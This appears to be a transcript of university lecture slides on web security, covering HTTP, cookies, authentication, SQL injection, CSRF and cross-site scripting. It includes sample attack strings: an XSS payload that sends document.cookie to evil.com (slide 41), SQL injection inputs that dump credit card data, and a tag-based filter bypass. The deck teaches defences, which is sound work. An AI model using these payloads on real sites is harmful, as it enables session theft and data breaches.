1 / 45

Web Security

Web Security. Yuan Xue. Slides are developed based on many references including What Every Web Programmer Needs To Know About Security by Google http://code.google.com/edu/submissions/daswani/index.html Improving Web Application Security by Microsoft

wynne-keller
Download Presentation

Web Security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Web Security Yuan Xue Slides are developed based on many references including What Every Web Programmer Needs To Know About Security by Google http://code.google.com/edu/submissions/daswani/index.html Improving Web Application Security by Microsoft http://msdn.microsoft.com/en-us/library/ms994921.aspx Web Security by Dr. Shmatikov http://www.cs.utexas.edu/~shmat/courses/cs378_fall07/05webapp.ppt 04

  2. Outline • Overview of HTTP protocol • Authentication • Client Side • Cookies • Java Scripts • Server Side • SQL Injection • Cross-site scripting

  3. HTTP: HyperText Transfer Protocol • Hypertext Transfer Protocol (HTTP) is a communications protocol. Its use for retrieving inter-linked text documents (hypertext) led to the establishment of the World Wide Web. • Most notably RFC 2616 (June 1999) defines HTTP/1.1, the version of HTTP in common use. • HTTP is a request/response standard between a client and a server. A client is the end-user, the server is the web site. The client making a HTTP request—using a web browser, spider, or other end-user tool—is referred to as the user agent. The responding server—which stores or creates resources such as HTML files and images—is called the origin server.

  4. HTTP Request Method File HTTP version Headers GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT Blank line Data – none for GET

  5. HTTP Response HTTP version Status code Reason phrase Headers HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML> Data

  6. HTTP protocol • HTTP is a stateless request/response protocol • Each request is independent of previous requests • The advantage of a stateless protocol is that hosts do not need to retain information about users between requests. • Web developer need to use alternative methods for maintaining users' states. • A common method for solving this problem • involves sending and receiving cookies. • Server side sessions • Hidden variables (when the current page is a form) • URL encoded parameters (such as /index.php?session_id=some_unique_session_code).

  7. Vulnerabilities and Threats • Check out • http://www.microsoft.com/technet/security/current.asp • http://www.ciac.org/ciac/bulletins/j-042.shtml

  8. Example 1 Microsoft Security Bulletin MS07-004 A remote code execution vulnerability exists in the Vector Markup Language (VML) implementation in Microsoft Windows. An attacker could exploit the vulnerability by constructing a specially crafted Web page or HTML e-mail that could potentially allow remote code execution if a user visited the Web page or viewed the message. An attacker who successfully exploited this vulnerability could take complete control of an affected system. Maximum Severity Rating: Critical Recommendation: Customers should apply the update immediately

  9. Example 2 Microsoft Security Bulletin MS07-050 This security update resolves a privately reported vulnerability in the Vector Markup Language (VML) implementation in Windows. The vulnerability could allow remote code execution if a user viewed a specially crafted Web page using Internet Explorer. Maximum Severity Rating: Critical Recommendation: Customers should apply the update immediately

  10. Primitive Browser Session www.e_buy.com www.e_buy.com/ shopping.cfm? pID=269& item1=102030405 View catalog Select item Check out www.e_buy.com/ shopping.cfm? pID=269 www.e_buy.com/ checkout.cfm? pID=269& item1=102030405 Store session information in URL; easily read on network

  11. Example • User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator • With special URL, user doesn’t need to re-authenticate • Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT… • Authenticators are global sequence numbers • It’s easy to guess sequence number for another user • Fix: use random authenticators https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758 https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

  12. Web Authentication Overview • Strong authentication protocols for web based applications include: • Public key authentication (usually implemented with HTTPS / SSL Client Certificates) • Kerberos or SPNEGO authentication, primarily employed by Microsoft IIS running configured for "Integrated Windows Authentication". • Digest access authentication protocols • Weak cleartext protocols are also often in use: • Basic access authentication scheme • HTTP+HTML Form based authentication • These weak cleartext protocols used together with HTTPS network encryption resolve many of the threats that Digest access authentication protocol is designed to prevent.

  13. HTTP Digest Authentication client server Request URL with GET or POST method HTTP 401 Unauthorised Authentication “realm” (description of system being accessed) Fresh, random nonce H3=hash(H1, server nonce, H2) H1=hash(username, realm, password) H2=hash(method, URL) Recompute H3 and verify

  14. Cookies

  15. Storing Info Across Sessions • A cookie is a file created by an Internet site to store information on your computer Enters form data Server Browser Stores cookie Includes domain (who can read it), expiration, “secure” (can be read only over SSL) Requests cookie Server Browser Returns data HTTP is a stateless protocol; cookies add state

  16. What Are Cookies Used For? • Cookies are parcels of text sent by a server to a Web client (usually a browser) and then sent back unchanged by the client each time it accesses that server. • HTTP cookies are used for authenticating, session tracking (state maintenance), and maintaining specific information about users, such as site preferences or the contents of their electronic shopping carts. • Authentication • Use the fact that the user authenticated correctly in the past to make future authentication quicker • Personalization • Recognize the user from a previous visit • Tracking • Follow the user from site to site; learn his/her browsing behavior, preferences, and so on

  17. What Are Cookies Used For? • Cookies are used for • Authenticating, • Session tracking (state maintenance) • Maintaining specific information about users, such as site preferences or the contents of their electronic shopping carts.

  18. Cookie Management • Cookie ownership • Once a cookie is saved on your computer, only the website that created the cookie can read it • Variations • Temporary cookies • Stored until you quit your browser • Persistent cookies • Remain until deleted or expire • Third-party cookies • Originates on or sent to another website

  19. Privacy Issues with Cookies • Cookie may include any information about you known by the website that created it • Browsing activity, account information, etc. • Sites can share this information • Advertising networks • 2o7.net tracking cookie • Browser attacks could invade your “privacy” November 8, 2001: Users of Microsoft's browser and e-mail programs could be vulnerable to having their browser cookies stolen or modified due to a new security bug in Internet Explorer (IE), the company warned today

  20. Storing State in Browser • Dansie Shopping Cart (2006) • “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.” <FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps<BR>Price: $20.00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM> Change this to 2.00 Bargain shopping!

  21. Shopping Cart Form Tampering http://xforce.iss.net/xforce/xfdb/4621 • Many Web-based shopping cart applications use hidden fields in HTML forms to hold parameters for items in an online store. These parameters can include the item's name, weight, quantity, product ID, and price. Any application that bases price on a hidden field in an HTML form is vulnerable to price changing by a remote user. A remote user can change the price of a particular item they intend to buy, by changing the value for the hidden HTML tag that specifies the price, to purchase products at any price they choose.

  22. Storing State in Browser Cookies • Set-cookie: price=299.99 • User edits the cookie… cookie: price=29.99 • What’s the solution? • Add a MAC to every cookie, computed with the server’s secret key • Price=299.99; HMAC(ServerKey, 299.99) • But what if the website changes the price?

  23. Web Authentication via Cookies • Need authentication system that works over HTTP and does not require servers to store session data • Why is it a bad idea to store session state on server? • Servers can use cookies to store state on client • After client successfully authenticates, server computes an authenticator and gives it to browser in a cookie • Client cannot forge authenticator on his own • Example: hash(server’s secret key, session id) • With each request, browser presents the cookie • Server recomputes and verifies the authenticator • Server does not need to remember the authenticator

  24. Typical Session with Cookies client server POST /login.cgi Verify that this client is authorized Set-Cookie:authenticator GET /restricted.html Cookie:authenticator Check validity of authenticator (e.g., recompute hash(key,sessId)) Restricted content • Authenticators must be unforgeable and tamper-proof • (malicious client shouldn’t be able to compute his own or modify an existing authenticator)

  25. An example [Fu et al.] • Idea: use user,hash(user,key) as authenticator • Key is secret and known only to the server. Without the key, clients can’t forge authenticators. • Implementation: user,crypt(user,key) • crypt() is UNIX hash function for passwords • crypt() truncates its input at 8 characters • Usernames matching first 8 characters end up with the same authenticator • No expiration or revocation

  26. Better Cookie Authenticator • Main lesson: don’t roll your own! • Homebrewed authentication schemes are often flawed • There are standard cookie-based schemes • We’ll see one when discussing IPsec Capability Expiration Hash(server secret, capability, expiration) Describes what user is authorized to do on the site that issued the cookie Cannot be forged by malicious user; does not leak server secret

  27. JavaScript • Language executed by browser • Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page • Often used to exploit other vulnerabilities • Attacker gets to execute some code on user’s machine • Cross-scripting: attacker inserts malicious JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site

  28. Scripting <script type="text/javascript"> function whichButton(event) { if (event.button==1) { alert("You clicked the left mouse button!") } else { alert("You clicked the right mouse button!") }} </script> … <body onMouseDown="whichButton(event)"> … </body> Script defines a page-specific function Function gets executed when some event happens (onLoad, onKeyPress, onMouseMove…)

  29. JavaScript Security Model • Script runs in a “sandbox” • Not allowed to access files or talk to the network • Same-origin policy • Can only read properties of documents and windows from the same server, protocol, and port • If the same server hosts unrelated sites, scripts from one site can access document properties on the other • User can grant privileges to signed scripts • UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail

  30. Server Side

  31. SQL Injection • Command injection vulnerability - untrusted input inserted into query or command • Attack string alters intended semantics of command • Ex: SQL Injection - unsanitized data used in query to back-end database (DB) • SQL Injection Examples & Solutions • Type 1: compromises user data • Type 2: modifies critical data • Whitelisting over Blacklisting • Escaping • Prepared Statements and Bind Variables

  32. SQL Injection Impact in the Real World • CardSystems, credit card payment processing • Ruined by SQL Injection attack in June 2005 • 263,000 credit card #s stolen from its DB • #s stored unencrypted, 40 million exposed • Awareness Increasing: # of reported SQL injection vulnerabilities tripled from 2004 to 2005

  33. Attack Scenario (1) • Ex: Pizza Site Reviewing Orders • Form requesting month # to view orders for • HTTP request: https://www.deliver-me-pizza.com/show_orders?month=10

  34. Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Attack Scenario (2) • App constructs SQL query from parameter: • Type 1 Attack: inputs month='0 OR 1=1' ! • Goes to encoded URL: (space -> %20, = -> %3D) sql_query = "SELECT pizza, toppings, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " " + "AND order_month=" + request.getParamenter("month"); https://www.deliver-me-pizza.com/show_orders?month=0%20OR%201%3D1

  35. SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 Malicious Query Attack Scenario (3) • WHERE condition is always true! • OR precedes AND • Type 1 Attack: Gains access to other users’ private data! All User Data Compromised

  36. Attack Scenario (4) • More damaging attack: attacker sets month= • Attacker is able to • Combine 2 queries • 1st query: empty table (where fails) • 2nd query: credit card #s of all users 0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_yearFROM creditcards

  37. Solutions • Whitelisting-based Validation • Input Validation & Escaping • Use Prepared Statements & Bind Variables, etc..

  38. Whitelisting-Based Input Validation • Whitelisting – only allow input within well-defined set of safe values • set implicitly defined through regular expressions • RegExp – pattern to match strings against • Ex: month parameter: non-negative integer • RegExp: ^[0-9]*$ - 0 or more digits, safe subset • The ^, $ match beginning and end of string • [0-9] matches a digit, * specifies 0 or more

  39. Escaping • Could escape quotes instead of blacklisting • Ex: insert user o'connor, password terminator • escape(o'connor) = o''connor • Like kill_quotes, only works for string inputs • Numeric parameters could still be vulnerable sql = "INSERT INTO USERS(uname,passwd) " + "VALUES (" + escape(uname)+ "," + escape(password) +")"; INSERT INTO USERS(uname,passwd) VALUES ('o''connor','terminator');

  40. XSRF: Cross-Site Request Forgery • Same browser runs a script from a “good” site and a malicious script from a “bad” site • Requests to “good” site are authenticated by cookies • Malicious script can make forged requests to “good” site with user’s cookie • Netflix: change acct settings, Gmail: steal contacts • Potential for much bigger damage (think banking) • Prevention: website should embed fresh nonce in every form, check for it on every request • Forged requests will have cookie, but not the nonce

  41. Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) </script>> GET/ hello.cgi?name= <script>win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie)</script> <HTML>Hello, dear <script>win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie)</script> Welcome!</HTML> GET/ steal.cgi?cookie= Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com XSS: Cross-Site Scripting victim’s browser naive.com evil.com E.g., URL embedded in HTML email hello.cgi hello.cgi executed Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

  42. XSS Risks • XSS is a form of reflection attack • User is tricked into visiting a badly written website • A bug in website code causes it to display the attack script and the user’s browser to execute arbitrary operations contained in the attack script • Can transmit user’s private data to attacker • E.g., encode it in a URL request to attacker’s site • Can change contents of the affected website • Show bogus information, request sensitive data • Can cause user’s browser to attack other websites

  43. Where Malicious Scripts Live • Hide script in user-created content • Social sites (e.g., MySpace), blogs, forums, wikis • When visitor loads the page, webserver displays the content and visitor’s browser executes script • Many sites try to filter out scripts from user content, but this is difficult (example: samy worm) • Another reflection trick • Some websites parse input from URL http://cnn.com/login?URI=“>><script>AttackScript</script> • Use phishing email to drive users to this URL • Similar: malicious DOM (client parses bad URL) Attack code does not appear in HTML sent over network

  44. Other Sources of Malicious Scripts • Scripts embedded in webpages • Same-origin policy doesn’t prohibit embedding of third-party scripts • Ad servers, mashups, etc. • “Bookmarklets” • Bookmarked JavaScript URL javascript:alert(“Welcome to paradise!”) • Runs in the context of current loaded page

  45. Preventing Cross-Site Scripting • Preventing injection of scripts into HTML is hard! • Blocking “<” and “>” is not enough • Event handlers, stylesheets, encoded inputs (%3C), etc. • phpBB allowed simple HTML tags like <b> <b c=“>” onmouseover=“script” x=“<b ”>Hello<b> • Any user input must be preprocessed before it is used inside HTML • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes • ‘ becomes &#039; “ becomes &quot; & becomes &amp; • In ASP.NET, Server.HtmlEncode(string)

More Related